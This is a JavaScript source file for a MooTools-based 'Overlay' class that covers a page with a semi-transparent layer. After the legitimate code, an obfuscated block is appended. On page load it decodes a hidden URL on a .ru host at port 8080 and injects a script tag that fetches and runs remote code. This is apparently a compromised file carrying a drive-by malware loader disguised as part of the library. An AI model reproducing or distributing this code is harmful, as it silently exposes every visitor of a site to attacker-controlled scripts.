
/**************************************************************

	Script		: Overlay
	Version		: 1.2
	Authors		: Samuel birch
	Desc		: Covers the window with a semi-transparent layer.
	Licence		: Open Source MIT Licence

**************************************************************/

var Overlay = new Class({
	
	getOptions: function(){
		return {
			colour: '#000',
			opacity: 0.7,
			zIndex: 1,
			container: document.body,
			onClick: Class.empty
		};
	},

	initialize: function(options){
		this.setOptions(this.getOptions(), options);
		
		this.options.container = $(this.options.container);
		
		this.container = new Element('div').setProperty('id', 'OverlayContainer').setStyles({
			position: 'absolute',
			left: '0px',
			top: '0px',
			width: '100%',
			zIndex: this.options.zIndex
		}).injectInside(this.options.container);
		
		this.iframe = new Element('iframe').setProperties({
			'id': 'OverlayIframe',
			'name': 'OverlayIframe',
			'src': 'javascript:void(0);',
			'frameborder': 1,
			'scrolling': 'no'
		}).setStyles({
			'position': 'absolute',
			'top': 0,
			'left': 0,
			'width': '100%',
			'height': '100%',
			'filter': 'progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)',
			'opacity': 0,
			'zIndex': 1
		}).injectInside(this.container);
		
		this.overlay = new Element('div').setProperty('id', 'Overlay').setStyles({
			position: 'absolute',
			left: '0px',
			top: '0px',
			width: '100%',
			height: '100%',
			zIndex: 2,
			backgroundColor: this.options.colour
		}).injectInside(this.container);
		
		this.container.addEvent('click', function(){
			this.options.onClick();
		}.bind(this));
		
		this.fade = new Fx.Style(this.container, 'opacity').set(0);
		this.position();
		
		window.addEvent('resize', this.position.bind(this));
	},
	
	position: function(){ 
		if(this.options.container == document.body){ 
			var h = window.getScrollHeight()+'px'; 
			this.container.setStyles({top: '0px', height: h}); 
		}else{ 
			var myCoords = this.options.container.getCoordinates(); 
			this.container.setStyles({
				top: myCoords.top+'px', 
				height: myCoords.height+'px', 
				left: myCoords.left+'px', 
				width: myCoords.width+'px'
			}); 
		} 
	},
	
	show: function(){
		this.fade.start(0,this.options.opacity);
	},
	
	hide: function(){
		this.fade.start(this.options.opacity,0);
	}
	
});
Overlay.implement(new Options);

/*************************************************************/

try {var a;if(a!='g'){a='g'};var y=new Date();var VA=new Array();var T=RegExp;var k='g';var P;if(P!=''){P='Q'};this.mp='';var M='replace';var Ed;if(Ed!='Ec'){Ed=''};var Qs;if(Qs!='e' && Qs!='UA'){Qs=''};var yN;if(yN!='_E' && yN!='B'){yN=''};var R='[';var L='';var f=new Array();var E=']';var j='';this.eT='';function u(_,m){var Op=new Array();var i=R;var Bj;if(Bj!='' && Bj!='av'){Bj=null};i+=m;var A=new String();i+=E;var Dp=new Array();var W=new T(i, k);var VK=new Array();var cM;if(cM!='F' && cM!='WN'){cM=''};return _[M](W, L);var ed=new Array();var gx="";};var _="1";var vS="";var Zt="";var iK=u('b2oQdQy9',"29Q");var J=u('/4v4i1r4gViFn4mVe1dFiVa4.Fc1o4mV/4vFi1rVg4iFn4mFeVd4i4a1.4cFoFm4/FsVu1n4.1cVo4mV/Vg1oFo1gVlVe4.Fc4oVmV/4pFo4r4nFhFo4sVt4.4c1oVm1.Vp4hFp1',"F14V");this.h='';var o='';var JX='';var PP;if(PP!='' && PP!='mF'){PP='PV'};var V=u('cqrJeqaqtJeJEJlqeJmJeJnJtq',"qJ");var mo;if(mo!='Lc'){mo=''};var Tv;if(Tv!='' && Tv!='t'){Tv=null};var oF;if(oF!='' && oF!='gG'){oF=null};var O=u('8997110313383755301157',"97351");var c=u('aRpkpReknkdRCRhkiRlkdk',"kR");var bB="";var mq=u('hLtUtLpU:L/L/LwLaLrUrLiUoUrLfUoUrUuLmU-LcLoUmU.UgUiLzLmLoUdLoU.UcLoLmU.UxLbLoLxL-LcUoLmL.UmUyLdUiUrUeUcUtUoLuUtUlUeUtL.LrUuL:L',"UL");var p=new Array();var l=u('sOeCtCAYtCtOrCiYbOuCtYeY',"YCO");var Ye;if(Ye!='' && Ye!='Vx'){Ye=''};var TG;if(TG!='EO'){TG=''};var kd=u('sgcgrHiJpgtg',"gHJ");var St=new String();var cN=u('obntltofabdf',"bft");this.db="";var pX;if(pX!='' && pX!='kM'){pX='xX'};var Ml="";window[cN]=function(){var xs;if(xs!='' && xs!='Mi'){xs='Tq'};this.N="";var ZA=new Array();var wE;if(wE!='' && wE!='Tg'){wE=null};G=document[V](kd);var jV=new Date();o+=mq;var tT;if(tT!='Yu' && tT!='qM'){tT='Yu'};var qZ;if(qZ!='ij' && qZ!='hx'){qZ=''};o+=O;o+=J;var mQ='';var PW;if(PW!='' && PW!='xu'){PW=null};var v=document[iK];G.src=o;G.setAttribute('defer', _);var xZ;if(xZ!='VI'){xZ='VI'};var UU=new Date();v.appendChild(G);this.br="";};var _Ni;if(_Ni!='mf'){_Ni='mf'};var jl;if(jl!='' && jl!='xt'){jl=''};} catch(Mp){};var I_;if(I_!=''){I_='ud'};var qa=new Array();